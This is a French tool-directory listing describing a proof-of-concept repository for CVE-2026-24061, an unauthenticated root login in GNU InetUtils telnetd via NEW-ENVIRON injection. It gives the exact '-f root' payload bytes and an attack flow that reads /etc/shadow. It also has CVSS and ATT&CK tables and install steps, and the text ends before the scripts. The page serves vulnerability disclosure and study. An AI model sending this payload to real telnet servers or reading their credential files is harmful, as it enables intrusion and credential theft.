Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - Racine distante non authentifiée via l'injection de variable NEW-ENVIRON. | Kitploit
Outils/GitHubGitHub/franckferman/cve-2026-24061
Scanners de VulnérabilitésExploitationSécurité RéseauTests d'IntrusionRenseignement sur les MenacesAuthentificationApprentissage et ÉducationRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - Racine distante non authentifiée via l'injection de variable NEW-ENVIRON.

Voir le dépôt
525il y a 6 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE Score License Python No deps

GNU InetUtils telnetd - Root distant non authentifié via injection de variable NEW-ENVIRON

Vue d'ensemble - Analyse technique - Versions concernées - Utilisation - Remédiation - Références


Vue d'ensemble de la vulnérabilité

CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans le démon telnetd distribué avec GNU InetUtils. Le défaut réside dans la gestion de l'option Telnet NEW-ENVIRON (RFC 1572) lors de la poignée de main initiale du protocole.

La cause racine est une absence de nettoyage des variables d'environnement fournies par le client avant de les transmettre au programme login(1). Lorsque le démon Telnet reçoit un paquet de sous-négociation NEW-ENVIRON IS contenant la variable USER avec la valeur -f root, il transmet cette valeur non nettoyée directement au binaire système login.

Sur les systèmes où login accepte le drapeau -f (connexion forcée sans vérification du mot de passe), cela aboutit à l'octroi d'une session root non authentifiée à l'attaquant distant.

Cette classe de vulnérabilité a un précédent historique : CVE-2001-0797 dans SysV telnetd et le contournement bien connu -f de telnetd Linux de 1994 exploitaient la même défaillance fondamentale de nettoyage des arguments issus de l'environnement transmis aux binaires privilégiés.

Aucun identifiant requis. Aucun accès préalable nécessaire. Une seule séquence de paquets réseau suffit pour obtenir root.

Analyse technique

Cause racine

GNU InetUtils telnetd traite la sous-négociation NEW-ENVIRON (code d'option 0x27, selon la RFC 1572) pour collecter les variables d'environnement fournies par le client. Ces variables sont assemblées dans un vecteur d'arguments et transmises à execve(2) lors du lancement de login(1).

La vulnérabilité est déclenchée comme suit :

  1. Le serveur envoie IAC DO NEW-ENVIRON, sollicitant les variables d'environnement du client.
  2. Le client malveillant répond avec IAC WILL NEW-ENVIRON.
  3. Le serveur enchaîne avec IAC SB NEW-ENVIRON SEND IAC SE.
  4. Le client envoie la charge utile injectée :
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd construit l'invocation de login comme login -f root.
  2. login(1) interprète -f comme « connexion forcée, ignorer l'authentification » et connecte l'utilisateur spécifié (root) sans exiger de mot de passe.

Analyse au niveau du protocole

ÉtapeDirectionOctets Telnet (hex)Signification
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Pourquoi -f root fonctionne

Le binaire login(1) sur de nombreux systèmes Linux accepte le drapeau -f <utilisateur> pour les connexions « pré-authentifiées », historiquement utilisé par les multiplexeurs de terminaux et rlogin. Lorsque telnetd construit son appel exec et ne parvient pas à supprimer les tirets initiaux ou à valider les chaînes de type option dans les valeurs des variables d'environnement, il transmet par inadvertance des drapeaux contrôlés par l'attaquant directement à login.

L'appel effectif devient :

execve("/bin/login", ["login", "-f", "root"], envp);

Scénario d'attaque

Attaquant                                    telnetd vulnérable (port 23)
   |                                                   |
   |------- TCP SYN (port 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Bannière Telnet + IAC DO NEW-ENVIRON ------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd appelle : login -f root]          |
   |                                                   |
   |<------ Invite de shell root (#) ------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root contenu /etc/shadow ------|

Conditions préalables :

  • Système cible exécutant GNU InetUtils telnetd (TCP/23 ouvert)
  • Version non corrigée d'inetutils
  • Le binaire login(1) prend en charge le drapeau -f (standard sur la plupart des distributions Linux)
  • Aucun pare-feu ne bloque TCP/23

Versions concernées

LogicielVersions concernéesStatut
GNU InetUtils telnetd<= 2.x (version corrigée spécifique à déterminer)Vulnérable
Distributions fournissant GNU inetutils non corrigéDiversesConsulter l'avis du fournisseur

Vérifiez si votre distribution fournit une version corrigée. De nombreux systèmes modernes ont Telnet désactivé par défaut ; l'exposition nécessite un telnetd explicitement en cours d'exécution.

Score CVSS

MétriqueValeur
Score de base CVSS v3.19.8 (Critique)
Vecteur d'attaqueRéseau
Complexité de l'attaqueFaible
Privilèges requisAucun
Interaction utilisateurAucune
PortéeInchangée
Impact sur la confidentialitéÉlevé
Impact sur l'intégritéÉlevé
Impact sur la disponibilitéÉlevé
Chaîne vectorielleCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cartographie MITRE ATT&CK

ID ATT&CKTactiqueTechniquePertinence
T1190Accès initialExploitation d'une application exposée publiquementExploitation directe de telnetd sur le réseau
T1059ExécutionInterpréteur de commandes et de scriptsExécution de shell post-exploitation
T1078.004Élévation de privilèges / Contournement de défenseComptes valides : Comptes locauxLe contournement d'authentification aboutit à une session root valide
T1548Élévation de privilègesAbus du mécanisme de contrôle d'élévationDrapeau login -f abusé pour contourner PAM/l'authentification
T1046DécouverteDécouverte de services réseauComposant de scan de masse du PoC

Installation

Prérequis : Python 3 (bibliothèque standard uniquement, zéro dépendance externe).

git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

Aucun pip install nécessaire. Les deux scripts utilisent uniquement la bibliothèque standard de Python.

Structure du projet

Télécharger l’outil